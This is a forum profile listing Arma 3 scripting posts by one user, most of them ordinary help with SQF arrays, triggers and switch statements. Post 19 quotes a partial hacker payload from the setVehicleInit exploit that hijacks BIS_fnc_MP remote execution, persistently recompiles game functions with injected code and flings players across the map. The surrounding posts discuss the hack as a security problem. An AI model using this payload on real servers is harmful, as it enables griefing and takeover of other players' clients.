Jump to content

jacmac

Member
  • Content Count

    173
  • Joined

  • Last visited

  • Medals

  • Medals

Everything posted by jacmac

  1. Basically, you need to make sure you are not using the last parameter with the disabled code posted above: _unitinit = if (count _this > 6) then {_this select 6} else {}; _haveinit = if (count _this > 6) then {true} else {false};
  2. I don't understand why you would try to evaluate in a case statement instead of switch, this is where I'm lost. :confused: _loadout = switch (true) do { // <-------- This doesn't make sense case (_man in [MP1, MP2, MP3, MP4, MP5, MP6, MP7, MP8, MP9, MP10]) : {"Military Police"}; default {typeof _man}; }; I don't know if this would work, but it looks more realistic (this assumes _man can return MPx by itself): _loadout = switch (_man in [MP1, MP2, MP3, MP4, MP5, MP6, MP7, MP8, MP9, MP10]) do { case true : {_loadout = "Military Police"}; default {typeof _man}; But if that would work, then I guess this is probably the simplest way to do it: if (_man in [MP1, MP2, MP3, MP4, MP5, MP6, MP7, MP8, MP9, MP10]) then {_loadout = "Military Police"} else {typeof _man}; I thought he was trying to get the group name of _man and compare it against MPx.
  3. Check Loki's code: http://forums.bistudio.com/showthread.php?150704-AI-Skill-Setting
  4. You misunderstand, I meant is setVehicleInit anywhere in any of the scripts? Not that you should put it in any script. It is deprecated due to security issues, so it will break scripts that have it.
  5. _loadout = switch (true) do { case (_man in [MP1, MP2, MP3, MP4, MP5, MP6, MP7, MP8, MP9, MP10]) : {"Military Police"}; default {typeof _man}; }; I think what you are trying to do is something like switch (group _man) do { case "MP1" : {_loadout = "Military Police"}; case "MP2" : {_loadout = "Military Police"}; ...etc but why not just (ugly due to lack of string handling): _g = group _man; if (_g=="MP1" or _g=="MP2" or _g=="MP3" or _g=="MP4" or _g=="MP5" or _g=="MP6" or _g=="MP7" or _g=="MP8" or _g=="MP9" or _g=="MP10") then {_loadout = "Military Police"};
  6. If you hover over a placed object on the map, then hit the delete key, it should delete. You should not need to actually click on it or use shift, ctrl, alt, etc. When you are hovered over an object, the name of it will appear, at that point, delete should work.
  7. Is setVehicleInit in any of those execVMs?
  8. I agree, although I'm hardly worried about retro-compatibility. It might be a pain to port over older Arma mods if the devs really shake things up in the name of security, but it's worth it in the long run.
  9. I don't really agree with this. Remote execution is not necessarily bad, but it has to have some kind of check process. A piece of code created and issued to clients by the server is not a bad thing. It is bad if clients can cause the server to issue bad code. It is also bad if clients can issue bad code to other clients. It seems like there is little distinction between a client and a server in Arma, this is where the change needs to take place. There should be a huge difference.
  10. Check the big thread on it, the code was posted (at least most of it was) The devs have indeed eliminated setvehicleinit in the dev build, so that vector is eliminated for the dev build and will be deployed to the regular build at some point. I ran a dedicated server with the dev build last night and the problem did not appear, though I had to modify some scripts that used setvehicleinit.
  11. Sorry, I can't understand what you're trying to say; your sentence has no breaks in it.
  12. So I'm trying to build an array of positions. I start with a marker position and use set commands to alter the position in an array variable. I then add the position to an array of positions: _originpos = getMarkerPos _marker; _pos = _originpos; diag_log ("wp _pos " + str _pos); _pos set [0,((_originpos select 0)+25)]; diag_log ("wp _pos " + str _pos); _pos set [1,((_originpos select 1)-25)]; diag_log ("wp _pos " + str _pos); _wppos = [_pos]; diag_log ("wp _wppos " + str _wppos); _pos set [0,((_originpos select 0)+25)]; diag_log ("wp _pos " + str _pos); _pos set [1,((_originpos select 1)+30)]; diag_log ("wp _pos " + str _pos); _wppos = _wppos + [_pos]; diag_log ("wp _wppos " + str _wppos); _pos set [0,((_originpos select 0)-30)]; diag_log ("wp _pos " + str _pos); _pos set [1,((_originpos select 1)+30)]; diag_log ("wp _pos " + str _pos); _wppos = _wppos + [_pos]; diag_log ("wp _wppos " + str _wppos); _pos set [0,((_originpos select 0)-30)]; diag_log ("wp _pos " + str _pos); _pos set [1,((_originpos select 1)-30)]; diag_log ("wp _pos " + str _pos); _wppos = _wppos + [_pos]; diag_log ("wp _wppos " + str _wppos); The code above produces some rather bizarre results: " _pos [5344.89,5240.91,0]" Origin " _pos [5369.89,5240.91,0]" Element 0 altered " _pos [5369.89,5215.91,0]" Element 1 altered "_wppos [[5369.89,5215.91,0]]" _pos added to _wppos " _pos [5394.89,5215.91,0]" Element 0 altered " _pos [5394.89,5245.91,0]" Element 1 altered "_wppos [[5394.89,5245.91,0],[5394.89,5245.91,0]]" _pos added to _wppos, but wait! WTF???!?!? What happened to [5369.89,5215.91,0]??? " _pos [5364.89,5245.91,0]" Element 0 altered " _pos [5364.89,5275.91,0]" Element 1 altered "_wppos [[5364.89,5275.91,0],[5364.89,5275.91,0],[5364.89,5275.91,0]]" WHAT??? " _pos [5334.89,5275.91,0]" Element 0 altered " _pos [5334.89,5245.91,0]" Element 1 altered "_wppos [[5334.89,5245.91,0],[5334.89,5245.91,0],[5334.89,5245.91,0],[5334.89,5245.91,0]]" OMG FAIL! Why do all of the elements in _wppos get overwritten when _pos is added to the array? It is like _wppos = _wppos + [_pos]; means add [_pos] as a new element to the array and copy it into every existing element in the array.
  13. I'm not sure I understand what you want. If you want all players to execute a script whenever a player connects to the server, then you can have the server initiate it via a public variable that is set via onPlayerConnected "[_id, _name] execVM ""PlayerConnected.sqf""";. The idea is that the server will execute the command, the clients will not, regardless if it exists in a client script.
  14. jacmac

    playSound3D issue

    The sound isn't a file name, it's a class object.
  15. jacmac

    playSound3D issue

    And you declared the sound in description.ext?
  16. Says how it works right in the comments for the function! :confused:
  17. That does explain the behavior. Nutty as it seems, this function manages to dereference the array elements and add an array into an array: _func_AddArrayIntoArray = { _temp = []; _addlength = count (_this select 1); for "_i" from 0 to (_addlength - 1) do { _temp set [_i, ((_this select 1) select _i)] }; _return = ((_this select 0) + [_temp]); _return }; I have to say though, this array behavior is pretty much mentally bankrupt!
  18. Not sure if you read the posts from the developers, but they are working on it. It is Alpha, it's not so surprising that there are problems. I know it's hard for some people to believe, but there are Trolls out there who get a great deal of satisfaction kicking over an ant hill and watching the ensuing chaos.
  19. I assume there are some bits missing from each section? Section 1: with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; player setvehicleinit " with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; "; with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; with missionNamespace do { [] spawn { with missionNamespace do { while {true} do { 'BIS_fnc_MP_packet' addPublicVariableEventHandler {_this call BIS_fnc_MPexec}; BIS_fnc_MP = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MP.sqf'; bis_fnc_MPexec = compile preprocessFileLineNumbers 'A3\functions_f\MP\fn_MPexec.sqf'; _recomp = preprocessFile 'a3\functions_f\Debug\fn_recompile.sqf'; _hitter = (uinamespace getvariable 'hitter6'); uiNamespace setVariable ['bis_fnc_recompile', compile format ['%1 [] call %2;', _recomp, _hitter]]; uiNamespace setVariable ['BIS_fnc_playerName', (uinamespace getvariable 'hitter6')]; }; }; }; }; "; }; Section 2 if !(ismultiplayer) then { ["BIS_fnc_MP_packet", BIS_ [] spawn { player allowDamage false; (vehicle player) setVelocity [0, 0, 100]; sleep 1; while {sleep 0.1; true} do { velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY; velVector = [velVector, 40] call BIS_fnc_vectorMultiply; (vehicle player) setVelocity velVector; }; }; _layer = (floor(random 999999)); _ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; _layer cutText [_ltxt, 'PLAIN DOWN', 1]; _layer cutFadeOut 4096; call compile format ["%1 = '%2';", _layer, _ltxt]; [] spawn { player allowDamage false; (vehicle player) setVelocity [0, 0, 100]; sleep 1; while {sleep 0.1; true} do { velVector = [getposASL player, [2000, 5500, 400]] call BIS_fnc_vectorFromXToY; velVector = [velVector, 40] call BIS_fnc_vectorMultiply; (vehicle player) setVelocity velVector; }; }; _layer = (floor(random 999999)); _ltxt = 'You thought you could get rid of me? Stop trying to play, and go pester BIS to get their act together, and plug this leaky bucket of a game. VE, mute 3.'; _layer cutText [_ltxt, 'PLAIN DOWN', 1]; _layer cutFadeOut 4096; call compile format ["%1 = '%2';", _layer, _ltxt];
  20. Can you see the code itself that he is putting into the variables?
  21. Rolling back would be a Steam thing wouldn't it? I think you would have to have a backup on your own of the previous version or use a function like Windows 7 Restore Point, then disable updating the game automatically in Steam. I wonder why so many players would want to run the old version?
  22. My server got hit tonight and now every time I hit escape, I get the flying thing. This isn't just connect to the server, the hacker has injected something the permanently affects the client. That isn't just an Alpha problem, it's pretty scary this something like this is even feasible. It doesn't bode well...
  23. New version © released.
  24. I've run into an impasse with a trigger problem. A test mission to demonstrate the problem can be downloaded below: test mission The main problem is that the trigger is reactivating when is should not be able to reactivate. There is also a problem with "waitUntil" generating a "generic error in expression" that does not make sense. Either my understanding of how triggers are supposed to work is flawed, which is probably true, or there are some serious problems with triggers in Arma 3. The fix for the issue is at the bottom of this post. Trigger Condition: Public_Trigger1 == 0 and (thisList select 0) == player Trigger On Activation: systemchat "Activation"; Public_Trigger1 = 1; publicVariable "Public_Trigger1"; handle = [getPos Trigger1, getPos (thislist select 0)] execVM "distance.sqf" Trigger Deactivation: waituntil {GLOBAL_d > 20}; systemchat "Deactivation"; Public_Trigger1 = 0; publicVariable "Public_Trigger1" Init.sqf: if (isNil "Public_Trigger1") then {Public_Trigger1 = 0}; distance.sqf systemChat "distance.sqf Started"; GLOBAL_d = 0; p1 = _this select 0; systemChat ("p1 " + (str p1)); p2 = _this select 1; systemChat ("p2 " + (str p2)); GLOBAL_d = p1 distance p2; systemChat ("GLOBAL_d " + (str GLOBAL_d)); sleep 10; while {GLOBAL_d < 20} do { p2 = getPos player; GLOBAL_d = p1 distance p2; systemChat ("distance " + (str GLOBAL_d)); }; systemChat "distance.sqf Exited"; OK, so the trick is to use call compile instead of trying to use the trigger code exclusively to control the trigger. I got rid of the code in the Deactivation and changed On Activation so that it passes the name of the Public variable (Public_Trigger1): systemchat "Activation"; Public_Trigger1 = 1; publicVariable "Public_Trigger1"; handle = [getPos Trigger1, getPos (thislist select 0), "Public_Trigger1"] execVM "distance.sqf" I changed distance.sqf: systemChat "distance.sqf Started"; GLOBAL_d = 0; p1 = _this select 0; systemChat ("p1 " + (str p1)); p2 = _this select 1; systemChat ("p2 " + (str p2)); GLOBAL_d = p1 distance p2; systemChat ("GLOBAL_d " + (str GLOBAL_d)); while {GLOBAL_d < 25} do { p2 = getPos player; GLOBAL_d = p1 distance p2; systemChat ("distance " + (str GLOBAL_d)); sleep 2; }; _triggerVariable = _this select 2; call compile format ["%1 = 0", _triggerVariable]; call compile format ["publicVariable '%1'", _triggerVariable]; systemChat "distance.sqf Exited"; This effectively lets you disable the trigger and/or prevent reactivation on a server for everyone until the called script has completed. For whatever reason, Deactivation is not useful as a means to re-enable a trigger; I'm not really sure how Deactivation can be useful.
×